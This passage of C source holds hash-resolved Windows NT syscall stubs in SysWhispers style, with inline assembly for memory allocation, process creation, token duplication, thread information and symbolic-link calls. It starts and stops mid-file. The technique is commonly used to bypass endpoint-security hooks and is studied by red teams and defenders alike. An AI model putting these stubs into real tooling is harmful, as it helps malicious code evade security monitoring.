SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtAllocateVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID * BaseAddress,\n    IN ULONG ZeroBits,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG AllocationType,\n    IN ULONG Protect)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x0595031B \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x0595031B \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtFreeVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID * BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG FreeType)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x01932F05 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x01932F05 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateFile(\n    OUT PHANDLE FileHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER AllocationSize OPTIONAL,\n    IN ULONG FileAttributes,\n    IN ULONG ShareAccess,\n    IN ULONG CreateDisposition,\n    IN ULONG CreateOptions,\n    IN PVOID EaBuffer OPTIONAL,\n    IN ULONG EaLength)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x96018EB6 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x96018EB6 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtWriteFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x24B22A1A \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x24B22A1A \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateProcessEx(\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ParentProcess,\n    IN ULONG Flags,\n    IN HANDLE SectionHandle OPTIONAL,\n    IN HANDLE DebugPort OPTIONAL,\n    IN HANDLE ExceptionPort OPTIONAL,\n    IN ULONG JobMemberLevel)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x1198E2E3 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x1198E2E3 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQuerySystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    IN OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x4A5B2C8F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x4A5B2C8F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtDuplicateObject(\n    IN HANDLE SourceProcessHandle,\n    IN HANDLE SourceHandle,\n    IN HANDLE TargetProcessHandle OPTIONAL,\n    OUT PHANDLE TargetHandle OPTIONAL,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Options)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x9CBFA413 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x9CBFA413 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQueryObject_(\n    IN HANDLE Handle,\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    OUT PVOID ObjectInformation OPTIONAL,\n    IN ULONG ObjectInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x0E23F64F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x0E23F64F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtWaitForSingleObject(\n    IN HANDLE ObjectHandle,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER TimeOut OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x426376E3 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x426376E3 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtDeleteFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x64B26A1A \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x64B26A1A \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtTerminateProcess(\n    IN HANDLE ProcessHandle OPTIONAL,\n    IN NTSTATUS ExitStatus)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x652E64A0 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x652E64A0 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtSetInformationProcess_(\n    IN HANDLE DeviceHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    IN PVOID ProcessInformation,\n    IN ULONG Length)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x1D9F320C \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x1D9F320C \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQueryInformationToken(\n    IN HANDLE TokenHandle,\n    IN TOKEN_INFORMATION_CLASS TokenInformationClass,\n    OUT PVOID TokenInformation,\n    IN ULONG TokenInformationLength,\n    OUT PULONG ReturnLength)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x27917136 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x27917136 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtDuplicateToken(\n    IN HANDLE ExistingTokenHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN BOOLEAN EffectiveOnly,\n    IN TOKEN_TYPE TokenType,\n    OUT PHANDLE NewTokenHandle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x099C8384 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x099C8384 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NTAPI NtSetInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x1ABE5F87 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x1ABE5F87 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateDirectoryObjectEx(\n    OUT PHANDLE DirectoryHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN HANDLE ShadowDirectoryHandle,\n    IN ULONG Flags)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xBCBD62EA \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xBCBD62EA \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateSymbolicLinkObject(\n    OUT PHANDLE LinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PUNICODE_STRING LinkTarget)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x8AD1BA6D \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x8AD1BA6D \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtOpenSymbolicLinkObject(\n    OUT PHANDLE LinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x8C97980F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        